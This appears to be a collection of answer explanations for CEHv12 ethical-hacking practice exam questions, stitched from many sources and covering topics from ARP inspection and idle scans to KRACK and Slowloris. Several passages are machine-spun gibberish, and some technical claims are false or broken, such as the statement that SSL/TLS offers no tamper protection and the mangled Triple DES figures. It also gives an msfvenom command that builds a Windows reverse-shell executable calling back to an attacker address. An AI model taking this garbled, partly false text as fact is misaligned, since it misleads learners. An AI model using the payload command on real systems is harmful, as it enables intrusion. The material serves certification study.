312-50v12 Practice Exam Questions with Answers Certified Ethical Hacker Exam (CEHv12) Certification

Dynamic ARP inspection (DAI) protects switching devices against Address Resolution Protocol (ARP) packet spoofing (also known as ARP poisoning or ARP cache poisoning).

DAI inspects ARPs on the LAN and uses the information in the DHCP snooping database on the switch to validate ARP packets and to protect against ARP spoofing. ARP requests and replies are compared against entries in the DHCP snooping database, and filtering decisions are made based on the results of those comparisons. When an attacker tries to use a forged ARP packet to spoof an address, the switch compares the address with entries in the database. If the media access control (MAC) address or IP address in the ARP packet does not match a valid entry in the DHCP snooping database, the packet is dropped.

https://en.wikipedia.org/wiki/Kismet_(software)

Kismet is a network detector, packet sniffer, and intrusion detection system for 802.11 wireless LANs. Kismet will work with any wireless card which supports raw monitoring mode, and can sniff 802.11a, 802.11b, 802.11g, and 802.11n traffic.

JXplorer could be a cross platform LDAP browser and editor. it’s a standards compliant general purpose LDAP client which will be used to search, scan and edit any commonplace LDAP directory, or any directory service with an LDAP or DSML interface.

It is extremely flexible and can be extended and custom in a very number of the way. JXplorer is written in java, and also the source code and source code build system ar obtainable via svn or as a packaged build for users who wish to experiment or any develop the program.

JX is is available in 2 versions; the free open source version under an OSI Apache two style licence, or within the JXWorkBench Enterprise bundle with inbuilt reporting, administrative and security tools.

JX has been through a number of different versions since its creation in 1999; the foremost recent stable release is version 3.3.1, the August 2013 release.

JXplorer could be a absolutely useful LDAP consumer with advanced security integration and support for the harder and obscure elements of the LDAP protocol. it’s been tested on Windows, Solaris, linux and OSX, packages are obtainable for HPUX, AIX, BSD and it should run on any java supporting OS.

A pharming attacker tries to send a web site’s traffic to a faux website controlled by the offender, typically for the aim of collection sensitive data from victims or putting in malware on their machines. Attacker tend to specialize in making look-alike ecommerce and digital banking websites to reap credentials and payment card data.

Though they share similar goals, pharming uses a special technique from phishing. “Pharming attacker are targeted on manipulating a system, instead of tricking people into reaching to a dangerous web site,” explains David Emm, principal security man of science at Kaspersky. “When either a phishing or pharming attacker is completed by a criminal, they need a similar driving issue to induce victims onto a corrupt location, however the mechanisms during which this is often undertaken are completely different.”

Brute-force attack when an attacker uses a set of predefined values to attack a target and analyze the response until he succeeds. Success depends on the set of predefined values. It will take more time if it is larger, but there is a better probability of success. In a traditional brute-force attack, the passcode or password is incrementally increased by one letter/number each time until the right passcode/password is found.

«Many IDS reassemble communication streams; hence, if a packet is not received within a reasonable period, many IDS stop reassembling and handling that stream. If the application under attack keeps a session active for a longer time than that spent by the IDS on reassembling it, the IDS will stop. As a result, any session after the IDS stops reassembling the sessions will be susceptible to malicious data theft by attackers. The IDS will not log any attack attempt after a successful splicing attack. Attackers can use tools such as Nessus for session splicing attacks.»

Did you know that the EC-Council exam shows how well you know their official book? So, there is no "Whisker" in it. In the chapter "Evading IDS" -> "Session Splicing", the recommended tool for performing a session-splicing attack is Nessus. Where Wisker came from is not entirely clear, but I will assume the author of the question found it while copying Wikipedia.

https://en.wikipedia.org/wiki/Intrusion_detection_system_evasion_techniques

One basic technique is to split the attack payload into multiple small packets so that the IDS must reassemble the packet stream to detect the attack. A simple way of splitting packets is by fragmenting them, but an adversary can also simply craft packets with small payloads. The 'whisker' evasion tool calls crafting packets with small payloads 'session splicing'.

By itself, small packets will not evade any IDS that reassembles packet streams. However, small packets can be further modified in order to complicate reassembly and detection. One evasion technique is to pause between sending parts of the attack, hoping that the IDS will time out before the target computer does. A second evasion technique is to send the packets out of order, confusing simple packet re-assemblers but not the target computer.

NOTE: Yes, I found scraps of information about the tool that existed in 2012, but I can not give you unverified information. According to the official tutorials, the correct answer is Nessus, but if you know anything about Wisker, please write in the QA section. Maybe this question will be updated soon, but I'm not sure about that.

https://en.wikipedia.org/wiki/Meet-in-the-middle_attack

The meet-in-the-middle attack (MITM), a known plaintext attack, is a generic space–time tradeoff cryptographic attack against encryption schemes that rely on performing multiple encryption operations in sequence. The MITM attack is the primary reason why Double DES is not used and why a Triple DES key (168-bit) can be bruteforced by an attacker with 256 space and 2112 operations.

The intruder has to know some parts of plaintext and their ciphertexts. Using meet-in-the-middle attacks it is possible to break ciphers, which have two or more secret keys for multiple encryption using the same algorithm. For example, the 3DES cipher works in this way. Meet-in-the-middle attack was first presented by Diffie and Hellman for cryptanalysis of DES algorithm.

https://en.wikipedia.org/wiki/Private_network

In IP networking, a private network is a computer network that uses private IP address space. Both the IPv4 and the IPv6 specifications define private IP address ranges. These addresses are commonly used for local area networks (LANs) in residential, office, and enterprise environments.

Private network addresses are not allocated to any specific organization. Anyone may use these addresses without approval from regional or local Internet registries. Private IP address spaces were originally defined to assist in delaying IPv4 address exhaustion. IP packets originating from or addressed to a private IP address cannot be routed through the public Internet.

The Internet Engineering Task Force (IETF) has directed the Internet Assigned Numbers Authority (IANA) to reserve the following IPv4 address ranges for private networks:

· 10.0.0.0 – 10.255.255.255

· 172.16.0.0 – 172.31.255.255

· 192.168.0.0 – 192.168.255.255

Backbone routers do not allow packets from or to internal IP addresses. That is, intranet machines, if no measures are taken, are isolated from the Internet. However, several technologies allow such machines to connect to the Internet.

· Mediation servers like IRC, Usenet, SMTP and Proxy server

· Network address translation (NAT)

· Tunneling protocol

NOTE: So, the problem is just one of these technologies.

https://en.wikipedia.org/wiki/Internet_Relay_Chat

Internet Relay Chat (IRC) is an application layer protocol that facilitates communication in text. The chat process works on a client/server networking model. IRC clients are computer programs that users can install on their system or web-based applications running either locally in the browser or on a third-party server. These clients communicate with chat servers to transfer messages to other clients.

IRC is a plaintext protocol that is officially assigned port 194, according to IANA. However, running the service on this port requires running it with root-level permissions, which is inadvisable. As a result, the well-known port for IRC is 6667, a high-number port that does not require elevated privileges. However, an IRC server can also be configured to run on other ports as well.

You can't tell if an IRC server is designed to be malicious solely based on port number. Still, if you see an IRC server running on port a WKP such as 80, 8080, 53, 443, it's almost always going to be malicious; the only real reason for IRCD to be running on port 80 is to try to evade firewalls.

https://en.wikipedia.org/wiki/Application_firewall

An application firewall is a form of firewall that controls input/output or system calls of an application or service. It operates by monitoring and blocking communications based on a configured policy, generally with predefined rule sets to choose from. The application firewall can control communications up to the OSI model's application layer, which is the highest operating layer, and where it gets its name. The two primary categories of application firewalls are network-based and host-based.

Application layer filtering operates at a higher level than traditional security appliances. This allows packet decisions to be made based on more than just source/destination IP Addresses or ports. It can also use information spanning across multiple connections for any given host.

Network-based application firewalls

Network-based application firewalls operate at the application layer of a TCP/IP stack. They can understand certain applications and protocols such as File Transfer Protocol (FTP), Domain Name System (DNS), or Hypertext Transfer Protocol (HTTP). This allows it to identify unwanted applications or services using a non-standard port or detect if an allowed protocol is being abused.

Host-based application firewalls

A host-based application firewall monitors application system calls or other general system communication. This gives more granularity and control but is limited to only protecting the host it is running on. Control is applied by filtering on a per-process basis. Generally, prompts are used to define rules for processes that have not yet received a connection. Further filtering can be done by examining the process ID of the owner of the data packets. Many host-based application firewalls are combined or used in conjunction with a packet filter.

WHOIS (pronounced because the phrase who is) may be a query and response protocol and whois footprinting may be a method for glance information about ownership of a website name as following:• name details• Contact details contain phone no. and email address of the owner• Registration date for the name• Expire date for the name• name servers

An untethered jailbreak is one that allows a telephone to finish a boot cycle when being pwned with none interruption to jailbreak-oriented practicality.

Untethered jailbreaks area unit the foremost sought-after of all, however they’re additionally the foremost difficult to attain due to the powerful exploits and organic process talent they need. associate unbound jailbreak is sent over a physical USB cable association to a laptop or directly on the device itself by approach of associate application-based exploit, like a web site in campaign.

Upon running associate unbound jailbreak, you’ll be able to flip your pwned telephone off and on once more while not running the jailbreak tool once more. all of your jailbreak tweaks and apps would then continue in operation with none user intervention necessary.

It’s been an extended time since IOS has gotten the unbound jailbreak treatment. the foremost recent example was the computer-based Pangu break, that supported most handsets that ran IOS nine.1. We’ve additionally witnessed associate unbound jailbreak within the kind of JailbreakMe, that allowed users to pwn their handsets directly from the mobile campaign applications programme while not a laptop.

https://hub.packtpub.com/discovering-network-hosts-with-tcp-syn-and-tcp-ack-ping-scans-in-nmaptutorial/

https://en.wikipedia.org/wiki/Phishing

Phishing is a type of social engineering attack often used to steal user data, including login credentials and credit card numbers. It occurs when an attacker, masquerading as a trusted entity, dupes a victim into opening an email, instant message, or text message. The recipient is then tricked into clicking a malicious link, which can lead to the installation of malware, the freezing of the system as part of a ransomware attack, or the revealing of sensitive information.

An attack can have devastating results. For individuals, this includes unauthorized purchases, the stealing of funds, or identify theft.

Moreover, phishing is often used to gain a foothold in corporate or governmental networks as a part of a larger attack, such as an advanced persistent threat (APT) event. In this latter scenario, employees are compromised in order to bypass security perimeters, distribute malware inside a closed environment, or gain privileged access to secured data.

An organization succumbing to such an attack typically sustains severe financial losses in addition to declining market share, reputation, and consumer trust. Depending on the scope, a phishing attempt might escalate into a security incident from which a business will have a difficult time recovering.

The idle scan could be a communications protocol port scan technique that consists of causing spoofed packets to a pc to seek out out what services square measure obtainable. this can be accomplished by impersonating another pc whose network traffic is extremely slow or nonexistent (that is, not transmission or receiving information). this might be associate idle pc, known as a “zombie”.

This action are often done through common code network utilities like nmap and hping. The attack involves causing solid packets to a particular machine target in an attempt to seek out distinct characteristics of another zombie machine. The attack is refined as a result of there’s no interaction between the offender pc and also the target: the offender interacts solely with the “zombie” pc.

This exploit functions with 2 functions, as a port scanner and a clerk of sure informatics relationships between machines. The target system interacts with the “zombie” pc and distinction in behavior are often discovered mistreatment totally different|completely different “zombies” with proof of various privileges granted by the target to different computers.

The overall intention behind the idle scan is to “check the port standing whereas remaining utterly invisible to the targeted host.”

The first step in execution associate idle scan is to seek out associate applicable zombie. It must assign informatics ID packets incrementally on a worldwide (rather than per-host it communicates with) basis. It ought to be idle (hence the scan name), as extraneous traffic can raise its informatics ID sequence, confusing the scan logic. The lower the latency between the offender and also the zombie, and between the zombie and also the target, the quicker the scan can proceed.

Note that once a port is open, IPIDs increment by a pair of. Following is that the sequence:

• offender to focus on -> SYN, target to zombie ->SYN/ACK, Zombie to focus on -> RST (IPID increment by 1)
• currently offender tries to probe zombie for result. offender to Zombie ->SYN/ACK, Zombie to offender -> RST (IPID increment by 1)

So, during this method IPID increments by a pair of finally.

When associate idle scan is tried, tools (for example nmap) tests the projected zombie and reports any issues with it. If one does not work, attempt another. Enough net hosts square measure vulnerable that zombie candidates are not exhausting to seek out. a standard approach is to easily execute a ping sweep of some network. selecting a network close to your supply address, or close to the target, produces higher results. you’ll be able to attempt associate idle scan mistreatment every obtainable host from the ping sweep results till you discover one that works. As usual, it’s best to raise permission before mistreatment someone’s machines for surprising functions like idle scanning.

Simple network devices typically create nice zombies as a result of {they square measure|they’re} normally each underused (idle) and designed with straightforward network stacks that are susceptible to informatics ID traffic detection.

While distinguishing an acceptable zombie takes some initial work, you’ll be able to keep re-using the nice ones. as an alternative, there are some analysis on utilizing unplanned public internet services as zombie hosts to perform similar idle scans. leverage the approach a number of these services perform departing connections upon user submissions will function some quite poor’s man idle scanning.

Incident Handling and Response Incident handling and response (IH&R) is the process of taking organized and careful steps when reacting to a security incident or cyberattack. Steps involved in the IH&R process: 3.Incident Triage - The IH&R team further analyzes the compromised device to find incident details such as the type of attack, its severity, target, impact, and method of propagation, and any vulnerabilities it exploited. (P.84/68)

https://en.wikipedia.org/wiki/Network_Time_Protocol

The Network Time Protocol (NTP) is a networking protocol for clock synchronization between computer systems over packet-switched, variable-latency data networks.

NTP is intended to synchronize all participating computers within a few milliseconds of Coordinated Universal Time (UTC). It uses the intersection algorithm, a modified version of Marzullo's algorithm, to select accurate time servers and is designed to mitigate variable network latency effects. NTP can usually maintain time to within tens of milliseconds over the public Internet and achieve better than one millisecond accuracy in local area networks. Asymmetric routes and network congestion can cause errors of 100 ms or more.

The protocol is usually described in terms of a client-server model but can easily be used in peer-to-peer relationships where both peers consider the other to be a potential time source. Implementations send and receive timestamps using the User Datagram Protocol (UDP) on port number 123.

Types of Password Attacks - Active Online Attacks: Internal Monologue Attack Attackers perform an internal monologue(??) attack using SSPI (Security Support Provider Interface) from a user-mode application, where a local procedure call to the NTLM authentication package is invoked to calculate the NetNTLM response in the context of the logged-on user.Attacker disables the security controls of NetNTLMv1, extracts all the non-network logon tokens from all the active processes to masquerade as legitimate users. (P.594/578)

https://en.wikipedia.org/wiki/IPsec

Internet Protocol Security (IPsec) is a secure network protocol suite that authenticates and encrypts the packets of data to provide secure encrypted communication between two computers over an Internet Protocol network. It is used in virtual private networks (VPNs).

IPsec includes protocols for establishing mutual authentication between agents at the beginning of a session and negotiation of cryptographic keys to use during the session. IPsec can protect data flows between a pair of hosts (host-to-host), between a pair of security gateways (network-to-network), or between a security gateway and a host (network-to-host). IPsec uses cryptographic security services to protect communications over Internet Protocol (IP) networks. It supports network-level peer authentication, data-origin authentication, data integrity, data confidentiality (encryption), and replay protection.

The initial IPv4 suite was developed with few security provisions. As a part of the IPv4 enhancement, IPsec is a layer 3 OSI model or internet layer end-to-end security scheme. In contrast, while some other Internet security systems in widespread use operate above layer 3, such as Transport Layer Security (TLS) that operates at the Transport Layer and Secure Shell (SSH) that operates at the Application layer, IPsec can automatically secure applications at the IP layer.

SSL/TLS is a protocol that provides encryption and authentication for data in transit between a client and a server. However, SSL/TLS does not provide any protection against data tampering, which is the alteration, deletion, or insertion of data without authorization or proper validation. Data tampering can compromise the integrity and accuracy of the data, and potentially lead to breaches or fraud. To detect and prevent data tampering, you should implement IPsec in addition to SSL/TLS. IPsec is a protocol that provides encryption, authentication, and integrity for data in transit at the network layer. IPsec uses cryptographic mechanisms, such as digital signatures and hash-based message authentication codes (HMACs), to verify the identity of the sender and the receiver, and to ensure that the data has not been modified during transmission. IPsec can also provide replay protection, which prevents an attacker from retransmitting old or duplicate packets. By combining SSL/TLS and IPsec, you can achieve a higher level of security and reliability for your cloud-based application. References:

• EC-Council CEHv12 Courseware Module 18: Cryptography, page 18-20
• EC-Council CEHv12 Courseware Module 19: Cloud Computing, page 19-29
• A comprehensive guide to data tampering
• Tamper Detection

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

Example for Windows:

- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

The AndroidManifest.xml file contains information of your package, including components of the appliance like activities, services, broadcast receivers, content providers etc.It performs another tasks also:• it’s responsible to guard the appliance to access any protected parts by providing the permissions.• It also declares the android api that the appliance goes to use.• It lists the instrumentation classes. The instrumentation classes provides profiling and other informations. These informations are removed just before the appliance is published etc.This is the specified xml file for all the android application and located inside the basis directory.

Most likely have an issue with DNS.

DNS stands for “Domain Name System.” It’s a system that lets you connect to websites by matching human-readable domain names (like example.com) with the server's unique ID where a website is stored.

Think of the DNS system as the internet’s phonebook. It lists domain names with their corresponding identifiers called IP addresses, instead of listing people’s names with their phone numbers. When a user enters a domain name like wpbeginner.com on their device, it looks up the IP address and connects them to the physical location where that website is stored.

NOTE: Often DNS lookup information will be cached locally inside the querying computer or remotely in the DNS infrastructure. There are typically 8 steps in a DNS lookup. When DNS information is cached, steps are skipped from the DNS lookup process, making it quicker. The example below outlines all 8 steps when nothing is cached.

The 8 steps in a DNS lookup:

1. A user types ‘example.com’ into a web browser, and the query travels into the Internet and is received by a DNS recursive resolver;

2. The resolver then queries a DNS root nameserver;

3. The root server then responds to the resolver with the address of a Top-Level Domain (TLD) DNS server (such as .com or .net), which stores the information for its domains. When searching for example.com, our request is pointed toward the .com TLD;

4. The resolver then requests the .com TLD;

5. The TLD server then responds with the IP address of the domain’s nameserver, example.com;

6. Lastly, the recursive resolver sends a query to the domain’s nameserver;

7. The IP address for example.com is then returned to the resolver from the nameserver;

8. The DNS resolver then responds to the web browser with the IP address of the domain requested initially;

Once the 8 steps of the DNS lookup have returned the IP address for example.com, the browser can request the web page:

9. The browser makes an HTTP request to the IP address;

10. The server at that IP returns the webpage to be rendered in the browser.

NOTE 2: DNS primarily uses the User Datagram Protocol (UDP) on port number 53 to serve requests. And if this port is blocked, then a problem arises already in the first step. But the ninth step is performed without problems.

The official management decision given by a senior agency official to authorize operation of an information system and to explicitly accept the risk to agency operations (including mission, functions, image, or reputation), agency assets, or individuals, based on the implementation of an agreed-upon set of security controls.

formal declaration by a designated accrediting authority (DAA) or principal accrediting authority (PAA) that an information system is approved to operate at an acceptable level of risk, based on the implementation of an approved set of technical, managerial, and procedural safeguards. See authorization to operate (ATO). Rationale: The Risk Management Framework uses a new term to refer to this concept, and it is called authorization.

Identifies the information resources covered by an accreditation decision, as distinguished from separately accredited information resources that are interconnected or with which information is exchanged via messaging. Synonymous with Security Perimeter.

For the purposes of identifying the Protection Level for confidentiality of a system to be accredited, the system has a conceptual boundary that extends to all intended users of the system, both directly and indirectly connected, who receive output from the system. See authorization boundary. Rationale: The Risk Management Framework uses a new term to refer to the concept of accreditation, and it is called authorization. Extrapolating, the accreditation boundary would then be referred to as the authorization boundary.

In this attack KRACK is an acronym for Key Reinstallation Attack. KRACK may be a severe replay attack on Wi-Fi Protected Access protocol (WPA2), which secures your Wi-Fi connection. Hackers use KRACK to take advantage of a vulnerability in WPA2. When in close range of a possible victim, attackers can access and skim encrypted data using KRACK.

How KRACK WorksYour Wi-Fi client uses a four-way handshake when attempting to attach to a protected network. The handshake confirms that both the client — your smartphone, laptop, et cetera — and therefore the access point share the right credentials, usually a password for the network. This establishes the Pairwise passkey (PMK), which allows for encoding .Overall, this handshake procedure allows for quick logins and connections and sets up a replacement encryption key with each connection. this is often what keeps data secure on Wi-Fi connections, and every one protected Wi-Fi connections use the four-way handshake for security. This protocol is that the reason users are encouraged to use private or credential-protected Wi-Fi instead of public connections.KRACK affects the third step of the handshake, allowing the attacker to control and replay the WPA2 encryption key to trick it into installing a key already in use. When the key’s reinstalled, other parameters related to it — the incremental transmit packet number called the nonce and therefore the replay counter — are set to their original values.Rather than move to the fourth step within the four-way handshake, nonce resets still replay transmissions of the third step. This sets up the encryption protocol for attack, and counting on how the attackers replay the third-step transmissions, they will take down Wi-Fi security.

Why KRACK may be a ThreatThink of all the devices you employ that believe Wi-Fi. it isn’t almost laptops and smartphones; numerous smart devices now structure the web of Things (IoT). due to the vulnerability in WPA2, everything connected to Wi-Fi is in danger of being hacked or hijacked.Attackers using KRACK can gain access to usernames and passwords also as data stored on devices. Hackers can read emails and consider photos of transmitted data then use that information to blackmail users or sell it on the Dark Web.Theft of stored data requires more steps, like an HTTP content injection to load malware into the system. Hackers could conceivably take hold of any device used thereon Wi-Fi connection. Because the attacks require hackers to be on the brink of the target, these internet security threats could also cause physical security threats.On the opposite hand, the necessity to be in close proximity is that the only excellent news associated with KRACK, as meaning a widespread attack would be extremely difficult.Victims are specifically targeted. However, there are concerns that a experienced attacker could develop the talents to use HTTP content injection to load malware onto websites to make a more widespread affect.

Everyone is in danger from KRACK vulnerability. Patches are available for Windows and iOS devices, but a released patch for Android devices is currently in question (November 2017). There are issues with the discharge , and lots of question if all versions and devices are covered.The real problem is with routers and IoT devices. These devices aren’t updated as regularly as computer operating systems, and for several devices, security flaws got to be addressed on the manufacturing side. New devices should address KRACK, but the devices you have already got in your home probably aren’t protected.

The best protection against KRACK is to make sure any device connected to Wi-Fi is patched and updated with the newest firmware. that has checking together with your router’s manufacturer periodically to ascertain if patches are available.

The safest connection option may be a private VPN, especially when publicly spaces. If you would like a VPN for private use, avoid free options, as they need their own security problems and there’ll even be issues with HTTPs. Use a paid service offered by a trusted vendor like Kaspersky. Also, more modern networks use WPA3 for better security.Avoid using public Wi-Fi, albeit it’s password protection. That password is out there to almost anyone, which reduces the safety level considerably.All the widespread implications of KRACK and therefore the WPA2 vulnerability aren’t yet clear. what’s certain is that everybody who uses Wi-Fi is in danger and wishes to require precautions to guard their data and devices.

Risk Mitigation

Risk mitigation can be defined as taking steps to reduce adverse effects. There are four types of risk mitigation strategies that hold unique to Business Continuity and Disaster Recovery. When mitigating risk, it’s important to develop a strategy that closely relates to and matches your company’s profile.

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Risk Acceptance

Risk acceptance does not reduce any effects; however, it is still considered a strategy. This strategy is a common option when the cost of other risk management options such as avoidance or limitation may outweigh the cost of the risk itself. A company that doesn’t want to spend a lot of money on avoiding risks that do not have a high possibility of occurring will use the risk acceptance strategy.

Risk Avoidance

Risk avoidance is the opposite of risk acceptance. It is the action that avoids any exposure to the risk whatsoever. It’s important to note that risk avoidance is usually the most expensive of all risk mitigation options.

Risk Limitation

Risk limitation is the most common risk management strategy used by businesses. This strategy limits a company’s exposure by taking some action. It is a strategy employing a bit of risk acceptance and a bit of risk avoidance or an average of both. An example of risk limitation would be a company accepting that a disk drive may fail and avoiding a long period of failure by having backups.

Risk Transference

Risk transference is the involvement of handing risk off to a willing third party. For example, numerous companies outsource certain operations such as customer service, payroll services, etc. This can be beneficial for a company if a transferred risk is not a core competency of that company. It can also be used so a company can focus more on its core competencies.

Social engineering is the term used for a broad range of malicious activities accomplished through human interactions. It uses psychological manipulation to trick users into making security mistakes or giving away sensitive information.

Social engineering attacks typically involve some form of psychological manipulation, fooling otherwise unsuspecting users or employees into handing over confidential or sensitive data. Commonly, social engineering involves email or other communication that invokes urgency, fear, or similar emotions in the victim, leading the victim to promptly reveal sensitive information, click a malicious link, or open a malicious file. Because social engineering involves a human element, preventing these attacks can be tricky for enterprises.

Google hacking or Google dorking https://en.wikipedia.org/wiki/Google_hacking

It is a hacker technique that uses Google Search and other Google applications to find security holes in the configuration and computer code that websites are using. Google dorking could also be used for OSINT.

Search syntax https://en.wikipedia.org/wiki/Google_Search

Google’s search engine has its own built-in query language. The following list of queries can be run to find a list of files, find information about your competition, track people, get information about SEO backlinks, build email lists, and of course, discover web vulnerabilities.

- [site:] - Search within a specific website

https://en.wikipedia.org/wiki/Web_application_firewall

A web application firewall (WAF) is a specific form of application firewall that filters, monitors, and blocks HTTP traffic to and from a web service. By inspecting HTTP traffic, it can prevent attacks exploiting a web application's known vulnerabilities, such as SQL injection, cross-site scripting (XSS), file inclusion, and improper system configuration.

Developed by Robert “RSnake” Hansen, Slowloris is DDoS attack software that permits one computer to require down an internet server. Due the straightforward yet elegant nature of this attack, it requires minimal bandwidth to implement and affects the target server’s web server only, with almost no side effects on other services and ports.Slowloris has proven highly-effective against many popular sorts of web server software, including Apache 1.x and 2.x.Over the years, Slowloris has been credited with variety of high-profile server takedowns. Notably, it had been used extensively by Iranian ‘hackivists’ following the 2009 Iranian presidential election to attack Iranian government internet sites .Slowloris works by opening multiple connections to the targeted web server and keeping them open as long as possible. It does this by continuously sending partial HTTP requests, none of which are ever completed. The attacked servers open more and connections open, expecting each of the attack requests to be completed.Periodically, the Slowloris sends subsequent HTTP headers for every request, but never actually completes the request. Ultimately, the targeted server’s maximum concurrent connection pool is filled, and extra (legitimate) connection attempts are denied.By sending partial, as against malformed, packets, Slowloris can easily elapse traditional Intrusion Detection systems.Named after a kind of slow-moving Asian primate, Slowloris really does win the race by moving slowly and steadily. A Slowloris attack must await sockets to be released by legitimate requests before consuming them one by one.For a high-volume internet site , this will take a while . the method are often further slowed if legitimate sessions are reinitiated. But within the end, if the attack is unmitigated, Slowloris—like the tortoise—wins the race.If undetected or unmitigated, Slowloris attacks also can last for long periods of your time . When attacked sockets outing , Slowloris simply reinitiates the connections, continuing to reach the online server until mitigated.Designed for stealth also as efficacy, Slowloris are often modified to send different host headers within the event that a virtual host is targeted, and logs are stored separately for every virtual host.More importantly, within the course of an attack, Slowloris are often set to suppress log file creation. this suggests the attack can catch unmonitored servers off-guard, with none red flags appearing in log file entries.Methods of mitigationImperva’s security services are enabled by reverse proxy technology, used for inspection of all incoming requests on their thanks to the clients’ servers.Imperva’s secured proxy won’t forward any partial connection requests—rendering all Slowloris DDoS attack attempts completely and utterly useless.

The attack scenario is best described as Instant Messenger Applications, and the measure that could have prevented it is verifying the sender’s identity before opening any files. Instant Messenger Applications are communication tools that allow users to exchange text, voice, video, and file messages in real time. However, they can also be used as attack vectors for spreading malware, such as viruses, worms, or Trojans, by exploiting the trust and familiarity between the users. In this scenario, the attacker compromised one of the team member’s messenger account and used it to send malicious files to the other team members, who may have opened them without suspicion, thus infecting their systems. This type of attack is also known as an instant messaging worm12.

To prevent this type of attack, the users should verify the sender’s identity before opening any files sent through instant messenger applications. This can be done by checking the sender’s profile, asking for confirmation, or using a secure channel. Additionally, the users should also follow other security tips, such as using strong passwords, updating the application software, scanning the files with antivirus software, and reporting any suspicious activity34.

References:

• 1: Instant Messaging Worm - Techopedia
• 2: Cybersecurity’s Silent Foe: A Comprehensive Guide to Computer Worms | Silent Quadrant
• 3: Instant Messenger Hacks: 10 Security Tips to Protect Yourself - MUO
• 4: Increased phishing attacks on instant messaging platforms: how to prevent them | Think Digital Partners

flags –source-port and -g are equivalent and instruct nmap to send packets through a selected port. this option is used to try to cheat firewalls whitelisting traffic from specific ports. the following example can scan the target from the port twenty to ports eighty, 22, 21,23 and 25 sending fragmented packets to LinuxHint.

The best measure to prevent similar attacks without overly restricting the use of personal devices is to conduct regular cybersecurity awareness training, focusing on phishing attacks. Cybersecurity awareness training is a process of educating and empowering employees on the best practices and behaviors to protect themselves and the organization from cyber threats, such as phishing, malware, ransomware, or data breaches. Cybersecurity awareness training can help the organization mitigate the risk of phishing incidents by providing the following benefits12:

• It can increase the knowledge and skills of employees on how to identify and avoid phishing emails, messages, or links, such as by checking the sender, the subject, the content, the attachments, and the URL of the message, and by verifying the legitimacy and authenticity of the message before responding or clicking.
• It can enhance the attitude and culture of employees on the importance and responsibility of cybersecurity, such as by encouraging them to report any suspicious or malicious activity, to follow the security policies and guidelines, and to seek help or guidance when in doubt or trouble.
• It can reduce the human error and negligence that are often the main causes of phishing incidents, such as by reminding employees to update their devices and applications, to use strong and unique passwords, to enable multi-factor authentication, and to backup their data regularly.

The other options are not as optimal as option D for the following reasons:

• A. Provide employees with corporate-owned devices for work-related tasks: This option is not feasible because it contradicts the BYOD policy, which allows employees to use their personal devices for work-related tasks. Providing employees with corporate-owned devices would require the organization to incur additional costs and resources, such as purchasing, maintaining, and securing the devices, as well as training and supporting the employees on how to use them. Moreover, providing employees with corporate-owned devices would not necessarily prevent phishing incidents, as the devices could still be compromised by phishing emails, messages, or links, unless the organization implements strict security controls and policies on the devices, which may limit the user autonomy and productivity3.
• B. Implement a mobile device management solution that restricts the installation of non-approved applications: This option is not desirable because it violates the user autonomy and privacy under the BYOD policy, which allows employees to use their personal devices for both personal and professional purposes. Implementing a mobile device management solution that restricts the installation of non-approved applications would require the organization to monitor and control the devices of the employees, which may raise legal and ethical issues, such as data ownership, consent, and compliance. Furthermore, implementing a mobile device management solution that restricts the installation of non-approved applications would not completely prevent phishing incidents, as the employees could still receive phishing emails, messages, or links through the approved applications, unless the organization implements strict security controls and policies on the applications, which may affect the user experience and functionality4.
• C. Require all employee devices to use a company-provided VPN for internet access: This option is not sufficient because it does not address the root cause of phishing incidents, which is the human factor. Requiring all employee devices to use a company-provided VPN for internet access would provide the organization with some benefits, such as encrypting the network traffic, hiding the IP address, and bypassing geo-restrictions. However, requiring all employee devices to use a company-provided VPN for internet access would not prevent phishing incidents, as the employees could still fall victim to phishing emails, messages, or links that lure them to malicious websites or applications, unless the organization implements strict security controls and policies on the VPN, which may affect the network performance and reliability.

References:

• 1: What is Cybersecurity Awareness Training? | Definition, Benefits & Best Practices | Kaspersky
• 2: How to Prevent Phishing Attacks with Security Awareness Training | Infosec
• 3: BYOD vs. Corporate-Owned Devices: Pros and Cons | Bitglass
• 4: Mobile Device Management (MDM) | OWASP Foundation
• : What is a VPN and why do you need one? Everything you need to know | ZDNet

Internet of Medical Things (IoMT) devices are internet-connected medical devices that can collect, transfer, and analyze data over a network. They can provide improved patient care and comfort, but they also pose security challenges and risks, as they can be targeted by cyberattacks, such as ransomware, that can compromise their functionality, integrity, or confidentiality. Ransomware is a type of malware that encrypts the victim’s data or system and demands a ransom for its decryption or restoration. Ransomware attacks can cause serious harm to healthcare organizations, as they can disrupt their operations, endanger their patients, and damage their reputation.

To protect IoMT devices from ransomware attacks, the main recommendation is to use network segmentation to isolate IoMT devices from the main network. Network segmentation is a technique that divides a network into smaller subnetworks, each with its own security policies and controls. Network segmentation can prevent or limit the spread of ransomware from one subnetwork to another, as it restricts the communication and access between them. Network segmentation can also improve the performance, visibility, and manageability of the network, as it reduces the network congestion, complexity, and noise.

The other options are not as effective or feasible as network segmentation. Implementing multi-factor authentication for all IoMT devices may not be possible or practical, as some IoMT devices may not support or require user authentication, such as sensors or monitors. Disabling all wireless connectivity on IoMT devices may not be desirable or realistic, as some IoMT devices rely on wireless communication protocols, such as Wi-Fi, Bluetooth, or Zigbee, to function or transmit data. Regularly changing the IP addresses of all IoMT devices may not prevent or deter ransomware attacks, as ransomware can target devices based on other factors, such as their domain names, MAC addresses, or vulnerabilities. References:

• What Is Internet of Medical Things (IoMT) Security?
• 5 Steps to Secure Internet of Medical Things Devices
• Ransomware in Healthcare: How to Protect Your Organization
• [Network Segmentation: Definition, Benefits, and Best Practices]

Objectives of Footprinting Draw Network Map - Combining footprinting techniques with tools such as Tracert allows the attacker to create diagrammatic representations of the target organization’s network presence. Specficially, it allows attackers to draw a map or outline of the target organization’s network infrastructure to know about the actual environment that they are going to break into. These network diagrams can guide the attacker in performing an attack. (P.114/98)

